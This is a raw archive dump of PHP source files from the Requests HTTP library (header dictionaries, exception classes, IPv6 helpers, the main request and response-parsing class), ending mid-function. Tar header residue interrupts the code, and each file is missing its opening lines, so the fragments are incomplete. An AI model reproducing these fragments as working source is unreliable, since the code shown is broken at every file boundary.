???src/Utility/CaseInsensitiveDictionary.php 0000644 00000004713 15162160274 0014642 0 ustar 00 $value) {
$this->offsetSet($offset, $value);
}
}
/**
* Check if the given item exists
*
* @param string $offset Item key
* @return boolean Does the item exist?
*/
#[ReturnTypeWillChange]
public function offsetExists($offset) {
if (is_string($offset)) {
$offset = strtolower($offset);
}
return isset($this->data[$offset]);
}
/**
* Get the value for the item
*
* @param string $offset Item key
* @return string|null Item value (null if the item key doesn't exist)
*/
#[ReturnTypeWillChange]
public function offsetGet($offset) {
if (is_string($offset)) {
$offset = strtolower($offset);
}
if (!isset($this->data[$offset])) {
return null;
}
return $this->data[$offset];
}
/**
* Set the given item
*
* @param string $offset Item name
* @param string $value Item value
*
* @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
*/
#[ReturnTypeWillChange]
public function offsetSet($offset, $value) {
if ($offset === null) {
throw new Exception('Object is a dictionary, not a list', 'invalidset');
}
if (is_string($offset)) {
$offset = strtolower($offset);
}
$this->data[$offset] = $value;
}
/**
* Unset the given header
*
* @param string $offset The key for the item to unset.
*/
#[ReturnTypeWillChange]
public function offsetUnset($offset) {
if (is_string($offset)) {
$offset = strtolower($offset);
}
unset($this->data[$offset]);
}
/**
* Get an iterator for the data
*
* @return \ArrayIterator
*/
#[ReturnTypeWillChange]
public function getIterator() {
return new ArrayIterator($this->data);
}
/**
* Get the headers as an array
*
* @return array Header data
*/
public function getAll() {
return $this->data;
}
}
src/Utility/InputValidator.php 0000644 00000004720 15162160274 0012463 0 ustar 00 callback = $callback;
}
}
/**
* Prevent unserialization of the object for security reasons.
*
* @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
*
* @param array $data Restored array of data originally serialized.
*
* @return void
*/
#[ReturnTypeWillChange]
public function __unserialize($data) {}
// phpcs:enable
/**
* Perform reinitialization tasks.
*
* Prevents a callback from being injected during unserialization of an object.
*
* @return void
*/
public function __wakeup() {
unset($this->callback);
}
/**
* Get the current item's value after filtering
*
* @return string
*/
#[ReturnTypeWillChange]
public function current() {
$value = parent::current();
if (is_callable($this->callback)) {
$value = call_user_func($this->callback, $value);
}
return $value;
}
/**
* Prevent creating a PHP value from a stored representation of the object for security reasons.
*
* @param string $data The serialized string.
*
* @return void
*/
#[ReturnTypeWillChange]
public function unserialize($data) {}
}
src/Response/Headers.php 0000644 00000006035 15162160274 0011225 0 ustar 00 data[$offset])) {
return null;
}
return $this->flatten($this->data[$offset]);
}
/**
* Set the given item
*
* @param string $offset Item name
* @param string $value Item value
*
* @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
*/
public function offsetSet($offset, $value) {
if ($offset === null) {
throw new Exception('Object is a dictionary, not a list', 'invalidset');
}
if (is_string($offset)) {
$offset = strtolower($offset);
}
if (!isset($this->data[$offset])) {
$this->data[$offset] = [];
}
$this->data[$offset][] = $value;
}
/**
* Get all values for a given header
*
* @param string $offset Name of the header to retrieve.
* @return array|null Header values
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key.
*/
public function getValues($offset) {
if (!is_string($offset) && !is_int($offset)) {
throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset));
}
if (is_string($offset)) {
$offset = strtolower($offset);
}
if (!isset($this->data[$offset])) {
return null;
}
return $this->data[$offset];
}
/**
* Flattens a value into a string
*
* Converts an array into a string by imploding values with a comma, as per
* RFC2616's rules for folding headers.
*
* @param string|array $value Value to flatten
* @return string Flattened value
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array.
*/
public function flatten($value) {
if (is_string($value)) {
return $value;
}
if (is_array($value)) {
return implode(',', $value);
}
throw InvalidArgument::create(1, '$value', 'string|array', gettype($value));
}
/**
* Get an iterator for the data
*
* Converts the internally stored values to a comma-separated string if there is more
* than one value for a key.
*
* @return \ArrayIterator
*/
public function getIterator() {
return new FilteredIterator($this->data, [$this, 'flatten']);
}
}
src/Exception/InvalidArgument.php 0000644 00000002122 15162160274 0013074 0 ustar 00 type = $type;
}
if ($code !== null) {
$this->code = (int) $code;
}
if ($message !== null) {
$this->reason = $message;
}
$message = sprintf('%d %s', $this->code, $this->reason);
parent::__construct($message, $this->type, $data, $this->code);
}
/**
* Get the error message.
*
* @return string
*/
public function getReason() {
return $this->reason;
}
}
src/Exception/Http.php 0000644 00000003006 15162160274 0010724 0 ustar 00 reason = $reason;
}
$message = sprintf('%d %s', $this->code, $this->reason);
parent::__construct($message, 'httpresponse', $data, $this->code);
}
/**
* Get the status message.
*
* @return string
*/
public function getReason() {
return $this->reason;
}
/**
* Get the correct exception class for a given error code
*
* @param int|bool $code HTTP status code, or false if unavailable
* @return string Exception class name to use
*/
public static function get_class($code) {
if (!$code) {
return StatusUnknown::class;
}
$class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code);
if (class_exists($class)) {
return $class;
}
return StatusUnknown::class;
}
}
src/Exception/Transport.php 0000644 00000000364 15162160274 0012005 0 ustar 00 code = (int) $data->status_code;
}
parent::__construct($reason, $data);
}
}
src/Exception/Http/Status401.php 0000644 00000000714 15162160274 0012437 0 ustar 00 FF01:0:0:0:0:0:0:101
* ::1 -> 0:0:0:0:0:0:0:1
*
* @author Alexander Merz
* @author elfrink at introweb dot nl
* @author Josh Peck
* @copyright 2003-2005 The PHP Group
* @license https://opensource.org/licenses/bsd-license.php
*
* @param string|Stringable $ip An IPv6 address
* @return string The uncompressed IPv6 address
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
*/
public static function uncompress($ip) {
if (InputValidator::is_string_or_stringable($ip) === false) {
throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip));
}
$ip = (string) $ip;
if (substr_count($ip, '::') !== 1) {
return $ip;
}
list($ip1, $ip2) = explode('::', $ip);
$c1 = ($ip1 === '') ? -1 : substr_count($ip1, ':');
$c2 = ($ip2 === '') ? -1 : substr_count($ip2, ':');
if (strpos($ip2, '.') !== false) {
$c2++;
}
if ($c1 === -1 && $c2 === -1) {
// ::
$ip = '0:0:0:0:0:0:0:0';
} elseif ($c1 === -1) {
// ::xxx
$fill = str_repeat('0:', 7 - $c2);
$ip = str_replace('::', $fill, $ip);
} elseif ($c2 === -1) {
// xxx::
$fill = str_repeat(':0', 7 - $c1);
$ip = str_replace('::', $fill, $ip);
} else {
// xxx::xxx
$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
$ip = str_replace('::', $fill, $ip);
}
return $ip;
}
/**
* Compresses an IPv6 address
*
* RFC 4291 allows you to compress consecutive zero pieces in an address to
* '::'. This method expects a valid IPv6 address and compresses consecutive
* zero pieces to '::'.
*
* Example: FF01:0:0:0:0:0:0:101 -> FF01::101
* 0:0:0:0:0:0:0:1 -> ::1
*
* @see \WpOrg\Requests\Ipv6::uncompress()
*
* @param string $ip An IPv6 address
* @return string The compressed IPv6 address
*/
public static function compress($ip) {
// Prepare the IP to be compressed.
// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
$ip = self::uncompress($ip);
$ip_parts = self::split_v6_v4($ip);
// Replace all leading zeros
$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);
// Find bunches of zeros
if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
$max = 0;
$pos = null;
foreach ($matches[0] as $match) {
if (strlen($match[0]) > $max) {
$max = strlen($match[0]);
$pos = $match[1];
}
}
$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
}
if ($ip_parts[1] !== '') {
return implode(':', $ip_parts);
} else {
return $ip_parts[0];
}
}
/**
* Splits an IPv6 address into the IPv6 and IPv4 representation parts
*
* RFC 4291 allows you to represent the last two parts of an IPv6 address
* using the standard IPv4 representation
*
* Example: 0:0:0:0:0:0:13.1.68.3
* 0:0:0:0:0:FFFF:129.144.52.38
*
* @param string $ip An IPv6 address
* @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part
*/
private static function split_v6_v4($ip) {
if (strpos($ip, '.') !== false) {
$pos = strrpos($ip, ':');
$ipv6_part = substr($ip, 0, $pos);
$ipv4_part = substr($ip, $pos + 1);
return [$ipv6_part, $ipv4_part];
} else {
return [$ip, ''];
}
}
/**
* Checks an IPv6 address
*
* Checks if the given IP is a valid IPv6 address
*
* @param string $ip An IPv6 address
* @return bool true if $ip is a valid IPv6 address
*/
public static function check_ipv6($ip) {
// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
$ip = self::uncompress($ip);
list($ipv6, $ipv4) = self::split_v6_v4($ip);
$ipv6 = explode(':', $ipv6);
$ipv4 = explode('.', $ipv4);
if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
foreach ($ipv6 as $ipv6_part) {
// The section can't be empty
if ($ipv6_part === '') {
return false;
}
// Nor can it be over four characters
if (strlen($ipv6_part) > 4) {
return false;
}
// Remove leading zeros (this is safe because of the above)
$ipv6_part = ltrim($ipv6_part, '0');
if ($ipv6_part === '') {
$ipv6_part = '0';
}
// Check the value is valid
$value = hexdec($ipv6_part);
if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
return false;
}
}
if (count($ipv4) === 4) {
foreach ($ipv4 as $ipv4_part) {
$value = (int) $ipv4_part;
if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
return false;
}
}
}
return true;
} else {
return false;
}
}
}
src/Requests.php 0000755 00000102321 15162160274 0007665 0 ustar 00 10,
'connect_timeout' => 10,
'useragent' => 'php-requests/' . self::VERSION,
'protocol_version' => 1.1,
'redirected' => 0,
'redirects' => 10,
'follow_redirects' => true,
'blocking' => true,
'type' => self::GET,
'filename' => false,
'auth' => false,
'proxy' => false,
'cookies' => false,
'max_bytes' => false,
'idn' => true,
'hooks' => null,
'transport' => null,
'verify' => null,
'verifyname' => true,
];
/**
* Default supported Transport classes.
*
* @since 2.0.0
*
* @var array
*/
const DEFAULT_TRANSPORTS = [
Curl::class => Curl::class,
Fsockopen::class => Fsockopen::class,
];
/**
* Current version of Requests
*
* @var string
*/
const VERSION = '2.0.11';
/**
* Selected transport name
*
* Use {@see \WpOrg\Requests\Requests::get_transport()} instead
*
* @var array
*/
public static $transport = [];
/**
* Registered transport classes
*
* @var array
*/
protected static $transports = [];
/**
* Default certificate path.
*
* @see \WpOrg\Requests\Requests::get_certificate_path()
* @see \WpOrg\Requests\Requests::set_certificate_path()
*
* @var string
*/
protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem';
/**
* All (known) valid deflate, gzip header magic markers.
*
* These markers relate to different compression levels.
*
* @link https://stackoverflow.com/a/43170354/482864 Marker source.
*
* @since 2.0.0
*
* @var array
*/
private static $magic_compression_headers = [
"\x1f\x8b" => true, // Gzip marker.
"\x78\x01" => true, // Zlib marker - level 1.
"\x78\x5e" => true, // Zlib marker - level 2 to 5.
"\x78\x9c" => true, // Zlib marker - level 6.
"\x78\xda" => true, // Zlib marker - level 7 to 9.
];
/**
* This is a static class, do not instantiate it
*
* @codeCoverageIgnore
*/
private function __construct() {}
/**
* Register a transport
*
* @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface
*/
public static function add_transport($transport) {
if (empty(self::$transports)) {
self::$transports = self::DEFAULT_TRANSPORTS;
}
self::$transports[$transport] = $transport;
}
/**
* Get the fully qualified class name (FQCN) for a working transport.
*
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return string FQCN of the transport to use, or an empty string if no transport was
* found which provided the requested capabilities.
*/
protected static function get_transport_class(array $capabilities = []) {
// Caching code, don't bother testing coverage.
// @codeCoverageIgnoreStart
// Array of capabilities as a string to be used as an array key.
ksort($capabilities);
$cap_string = serialize($capabilities);
// Don't search for a transport if it's already been done for these $capabilities.
if (isset(self::$transport[$cap_string])) {
return self::$transport[$cap_string];
}
// Ensure we will not run this same check again later on.
self::$transport[$cap_string] = '';
// @codeCoverageIgnoreEnd
if (empty(self::$transports)) {
self::$transports = self::DEFAULT_TRANSPORTS;
}
// Find us a working transport.
foreach (self::$transports as $class) {
if (!class_exists($class)) {
continue;
}
$result = $class::test($capabilities);
if ($result === true) {
self::$transport[$cap_string] = $class;
break;
}
}
return self::$transport[$cap_string];
}
/**
* Get a working transport.
*
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return \WpOrg\Requests\Transport
* @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`).
*/
protected static function get_transport(array $capabilities = []) {
$class = self::get_transport_class($capabilities);
if ($class === '') {
throw new Exception('No working transports found', 'notransport', self::$transports);
}
return new $class();
}
/**
* Checks to see if we have a transport for the capabilities requested.
*
* Supported capabilities can be found in the {@see \WpOrg\Requests\Capability}
* interface as constants.
*
* Example usage:
* `Requests::has_capabilities([Capability::SSL => true])`.
*
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return bool Whether the transport has the requested capabilities.
*/
public static function has_capabilities(array $capabilities = []) {
return self::get_transport_class($capabilities) !== '';
}
/**#@+
* @see \WpOrg\Requests\Requests::request()
* @param string $url
* @param array $headers
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a GET request
*/
public static function get($url, $headers = [], $options = []) {
return self::request($url, $headers, null, self::GET, $options);
}
/**
* Send a HEAD request
*/
public static function head($url, $headers = [], $options = []) {
return self::request($url, $headers, null, self::HEAD, $options);
}
/**
* Send a DELETE request
*/
public static function delete($url, $headers = [], $options = []) {
return self::request($url, $headers, null, self::DELETE, $options);
}
/**
* Send a TRACE request
*/
public static function trace($url, $headers = [], $options = []) {
return self::request($url, $headers, null, self::TRACE, $options);
}
/**#@-*/
/**#@+
* @see \WpOrg\Requests\Requests::request()
* @param string $url
* @param array $headers
* @param array $data
* @param array $options
* @return \WpOrg\Requests\Response
*/
/**
* Send a POST request
*/
public static function post($url, $headers = [], $data = [], $options = []) {
return self::request($url, $headers, $data, self::POST, $options);
}
/**
* Send a PUT request
*/
public static function put($url, $headers = [], $data = [], $options = []) {
return self::request($url, $headers, $data, self::PUT, $options);
}
/**
* Send an OPTIONS request
*/
public static function options($url, $headers = [], $data = [], $options = []) {
return self::request($url, $headers, $data, self::OPTIONS, $options);
}
/**
* Send a PATCH request
*
* Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()},
* `$headers` is required, as the specification recommends that should send an ETag
*
* @link https://tools.ietf.org/html/rfc5789
*/
public static function patch($url, $headers, $data = [], $options = []) {
return self::request($url, $headers, $data, self::PATCH, $options);
}
/**#@-*/
/**
* Main interface for HTTP requests
*
* This method initiates a request and sends it via a transport before
* parsing.
*
* The `$options` parameter takes an associative array with the following
* options:
*
* - `timeout`: How long should we wait for a response?
* Note: for cURL, a minimum of 1 second applies, as DNS resolution
* operates at second-resolution only.
* (float, seconds with a millisecond precision, default: 10, example: 0.01)
* - `connect_timeout`: How long should we wait while trying to connect?
* (float, seconds with a millisecond precision, default: 10, example: 0.01)
* - `useragent`: Useragent to send to the server
* (string, default: php-requests/$version)
* - `follow_redirects`: Should we follow 3xx redirects?
* (boolean, default: true)
* - `redirects`: How many times should we redirect before erroring?
* (integer, default: 10)
* - `blocking`: Should we block processing on this request?
* (boolean, default: true)
* - `filename`: File to stream the body to instead.
* (string|boolean, default: false)
* - `auth`: Authentication handler or array of user/password details to use
* for Basic authentication
* (\WpOrg\Requests\Auth|array|boolean, default: false)
* - `proxy`: Proxy details to use for proxy by-passing and authentication
* (\WpOrg\Requests\Proxy|array|string|boolean, default: false)
* - `max_bytes`: Limit for the response body size.
* (integer|boolean, default: false)
* - `idn`: Enable IDN parsing
* (boolean, default: true)
* - `transport`: Custom transport. Either a class name, or a
* transport object. Defaults to the first working transport from
* {@see \WpOrg\Requests\Requests::getTransport()}
* (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()})
* - `hooks`: Hooks handler.
* (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks())
* - `verify`: Should we verify SSL certificates? Allows passing in a custom
* certificate file as a string. (Using true uses the system-wide root
* certificate store instead, but this may have different behaviour
* across transports.)
* (string|boolean, default: certificates/cacert.pem)
* - `verifyname`: Should we verify the common name in the SSL certificate?
* (boolean, default: true)
* - `data_format`: How should we send the `$data` parameter?
* (string, one of 'query' or 'body', default: 'query' for
* HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
*
* @param string|Stringable $url URL to request
* @param array $headers Extra headers to send with the request
* @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
* @param string $type HTTP request type (use Requests constants)
* @param array $options Options for the request (see description for more information)
* @return \WpOrg\Requests\Response
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
* @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
*/
public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) {
if (InputValidator::is_string_or_stringable($url) === false) {
throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
}
if (is_string($type) === false) {
throw InvalidArgument::create(4, '$type', 'string', gettype($type));
}
if (is_array($options) === false) {
throw InvalidArgument::create(5, '$options', 'array', gettype($options));
}
if (empty($options['type'])) {
$options['type'] = $type;
}
$options = array_merge(self::get_default_options(), $options);
self::set_defaults($url, $headers, $data, $type, $options);
$options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]);
if (!empty($options['transport'])) {
$transport = $options['transport'];
if (is_string($options['transport'])) {
$transport = new $transport();
}
} else {
$need_ssl = (stripos($url, 'https://') === 0);
$capabilities = [Capability::SSL => $need_ssl];
$transport = self::get_transport($capabilities);
}
$response = $transport->request($url, $headers, $data, $options);
$options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]);
return self::parse_response($response, $url, $headers, $data, $options);
}
/**
* Send multiple HTTP requests simultaneously
*
* The `$requests` parameter takes an associative or indexed array of
* request fields. The key of each request can be used to match up the
* request with the returned data, or with the request passed into your
* `multiple.request.complete` callback.
*
* The request fields value is an associative array with the following keys:
*
* - `url`: Request URL Same as the `$url` parameter to
* {@see \WpOrg\Requests\Requests::request()}
* (string, required)
* - `headers`: Associative array of header fields. Same as the `$headers`
* parameter to {@see \WpOrg\Requests\Requests::request()}
* (array, default: `array()`)
* - `data`: Associative array of data fields or a string. Same as the
* `$data` parameter to {@see \WpOrg\Requests\Requests::request()}
* (array|string, default: `array()`)
* - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type`
* parameter to {@see \WpOrg\Requests\Requests::request()}
* (string, default: `\WpOrg\Requests\Requests::GET`)
* - `cookies`: Associative array of cookie name to value, or cookie jar.
* (array|\WpOrg\Requests\Cookie\Jar)
*
* If the `$options` parameter is specified, individual requests will
* inherit options from it. This can be used to use a single hooking system,
* or set all the types to `\WpOrg\Requests\Requests::POST`, for example.
*
* In addition, the `$options` parameter takes the following global options:
*
* - `complete`: A callback for when a request is complete. Takes two
* parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the
* ID from the request array (Note: this can also be overridden on a
* per-request basis, although that's a little silly)
* (callback)
*
* @param array $requests Requests data (see description for more information)
* @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
* @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public static function request_multiple($requests, $options = []) {
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
$options = array_merge(self::get_default_options(true), $options);
if (!empty($options['hooks'])) {
$options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
if (!empty($options['complete'])) {
$options['hooks']->register('multiple.request.complete', $options['complete']);
}
}
foreach ($requests as $id => &$request) {
if (!isset($request['headers'])) {
$request['headers'] = [];
}
if (!isset($request['data'])) {
$request['data'] = [];
}
if (!isset($request['type'])) {
$request['type'] = self::GET;
}
if (!isset($request['options'])) {
$request['options'] = $options;
$request['options']['type'] = $request['type'];
} else {
if (empty($request['options']['type'])) {
$request['options']['type'] = $request['type'];
}
$request['options'] = array_merge($options, $request['options']);
}
self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);
// Ensure we only hook in once
if ($request['options']['hooks'] !== $options['hooks']) {
$request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
if (!empty($request['options']['complete'])) {
$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
}
}
}
unset($request);
if (!empty($options['transport'])) {
$transport = $options['transport'];
if (is_string($options['transport'])) {
$transport = new $transport();
}
} else {
$transport = self::get_transport();
}
$responses = $transport->request_multiple($requests, $options);
foreach ($responses as $id => &$response) {
// If our hook got messed with somehow, ensure we end up with the
// correct response
if (is_string($response)) {
$request = $requests[$id];
self::parse_multiple($response, $request);
$request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]);
}
}
return $responses;
}
/**
* Get the default options
*
* @see \WpOrg\Requests\Requests::request() for values returned by this method
* @param boolean $multirequest Is this a multirequest?
* @return array Default option values
*/
protected static function get_default_options($multirequest = false) {
$defaults = static::OPTION_DEFAULTS;
$defaults['verify'] = self::$certificate_path;
if ($multirequest !== false) {
$defaults['complete'] = null;
}
return $defaults;
}
/**
* Get default certificate path.
*
* @return string Default certificate path.
*/
public static function get_certificate_path() {
return self::$certificate_path;
}
/**
* Set default certificate path.
*
* @param string|Stringable|bool $path Certificate path, pointing to a PEM file.
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean.
*/
public static function set_certificate_path($path) {
if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) {
throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path));
}
self::$certificate_path = $path;
}
/**
* Set the default values
*
* The $options parameter is updated with the results.
*
* @param string $url URL to request
* @param array $headers Extra headers to send with the request
* @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
* @param string $type HTTP request type
* @param array $options Options for the request
* @return void
*
* @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL.
*/
protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
}
if (empty($options['hooks'])) {
$options['hooks'] = new Hooks();
}
if (is_array($options['auth'])) {
$options['auth'] = new Basic($options['auth']);
}
if ($options['auth'] !== false) {
$options['auth']->register($options['hooks']);
}
if (is_string($options['proxy']) || is_array($options['proxy'])) {
$options['proxy'] = new Http($options['proxy']);
}
if ($options['proxy'] !== false) {
$options['proxy']->register($options['hooks']);
}
if (is_array($options['cookies'])) {
$options['cookies'] = new Jar($options['cookies']);
} elseif (empty($options['cookies'])) {
$options['cookies'] = new Jar();
}
if ($options['cookies'] !== false) {
$options['cookies']->register($options['hooks']);
}
if ($options['idn'] !== false) {
$iri = new Iri($url);
$iri->host = IdnaEncoder::encode($iri->ihost);
$url = $iri->uri;
}
// Massage the type to ensure we support it.
$type = strtoupper($type);
if (!isset($options['data_format'])) {
if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) {
$options['data_format'] = 'query';
} else {
$options['data_format'] = 'body';
}
}
}
/**
* HTTP response parser
*
* @param string $headers Full response text including headers and body
* @param string $url Original request URL
* @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
* @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
* @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
* @return \WpOrg\Requests\Response
*
* @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`)
* @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`)
* @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`)
*/
protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
$return = new Response();
if (!$options['blocking']) {
return $return;
}
$return->raw = $headers;
$return->url = (string) $url;
$return->body = '';
if (!$options['filename']) {
$pos = strpos($headers, "\r\n\r\n");
if ($pos === false) {
// Crap!
throw new Exception('Missing header/body separator', 'requests.no_crlf_separator');
}
$headers = substr($return->raw, 0, $pos);
// Headers will always be separated from the body by two new lines - `\n\r\n\r`.
$body = substr($return->raw, $pos + 4);
if (!empty($body)) {
$return->body = $body;
}
}
// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
$headers = str_replace("\r\n", "\n", $headers);
// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
$headers = preg_replace('/\n[ \t]/', ' ', $headers);
$headers = explode("\n", $headers);
preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
if (empty($matches)) {
throw new Exception('Response could not be parsed', 'noversion', $headers);
}
$return->protocol_version = (float) $matches[1];
$return->status_code = (int) $matches[2];
if ($return->status_code >= 200 && $return->status_code < 300) {
$return->success = true;
}
foreach ($headers as $header) {
list($key, $value) = explode(':', $header, 2);
$value = trim($value);
preg_replace('#(\s+)#i', ' ', $value);
$return->headers[$key] = $value;
}
if (isset($return->headers['transfer-encoding'])) {
$return->body = self::decode_chunked($return->body);
unset($return->headers['transfer-encoding']);
}
if (isset($return->headers['content-encoding'])) {
$return->body = self::decompress($return->body);
}
//fsockopen and cURL compatibility
if (isset($return->headers['connection'])) {
unset($return->headers['connection']);
}
$options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]);
if ($return->is_redirect() && $options['follow_redirects'] === true) {
if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
if ($return->status_code === 303) {
$options['type'] = self::GET;
}
$options['redirected']++;
$location = $return->headers['location'];
if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
// relative redirect, for compatibility make it absolute
$location = Iri::absolutize($url, $location);
$location = $location->uri;
}
$hook_args = [
&$location,
&$req_headers,
&$req_data,
&$options,
$return,
];
$options['hooks']->dispatch('requests.before_redirect', $hook_args);
$redirected = self::request($location, $req_headers, $req_data, $options['type'], $options);
$redirected->history[] = $return;
return $redirected;
} elseif ($options['redirected'] >= $options['redirects']) {
throw new Exception('Too many redirects', 'toomanyredirects', $return);
}
}
$return->redirects = $options['redirected'];
$options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]);
return $return;
}
/**
* Callback for `transport.internal.parse_response`
*
* Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response
* while still executing a multiple request.
*
* `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object
*
* @param string $response Full response text including headers and body (will be overwritten with Response instance)
* @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()}
* @return void
*/
public static function parse_multiple(&$response, $request) {
try {
$url = $request['url'];
$headers = $request['headers'];
$data = $request['data'];
$options = $request['options'];
$response = self::parse_response($response, $url, $headers, $data, $options);
} catch (Exception $e) {
$response = $e;
}
}
/**
* Decoded a chunked body as per RFC 2616
*
* @link https://tools.ietf.org/html/rfc2616#section-3.6.1
* @param string $data Chunked body
* @return string Decoded body
*/
protected static function decode_chunked($data) {
if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
return $data;
}
$decoded = '';
$encoded = $data;
while (true) {
$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
if (!$is_chunked) {
// Looks like it's not chunked after all
return $data;
}
$length = hexdec(trim($matches[1]));
if ($length === 0) {
// Ignore trailer headers
return $decoded;
}
$chunk_length = strlen($matches[0]);
$decoded .= substr($encoded, $chunk_length, $length);
$encoded = substr($encoded, $chunk_length + $length + 2);
if (trim($encoded) === '0' || empty($encoded)) {
return $decoded;
}
}
// We'll never actually get down here
// @codeCoverageIgnoreStart
}
// @codeCoverageIgnoreEnd
/**
* Convert a key => value array to a 'key: value' array for headers
*
* @param iterable $dictionary Dictionary of header values
* @return array List of headers
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable.
*/
public static function flatten($dictionary) {
if (InputValidator::is_iterable($dictionary) === false) {
throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary));
}
$return = [];
foreach ($dictionary as $key => $value) {
$return[] = sprintf('%s: %s', $key, $value);
}
return $return;
}
/**
* Decompress an encoded body
*
* Implements gzip, compress and deflate. Guesses which it is by attempting
* to decode.
*
* @param string $data Compressed data in one of the above formats
* @return string Decompressed string
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
*/
public static function decompress($data) {
if (is_string($data) === false) {
throw InvalidArgument::create(1, '$data', 'string', gettype($data));
}
if (trim($data) === '') {
// Empty body does not need further processing.
return $data;
}
$marker = substr($data, 0, 2);
if (!isset(self::$magic_compression_headers[$marker])) {
// Not actually compressed. Probably cURL ruining this for us.
return $data;
}
if (function_exists('gzdecode')) {
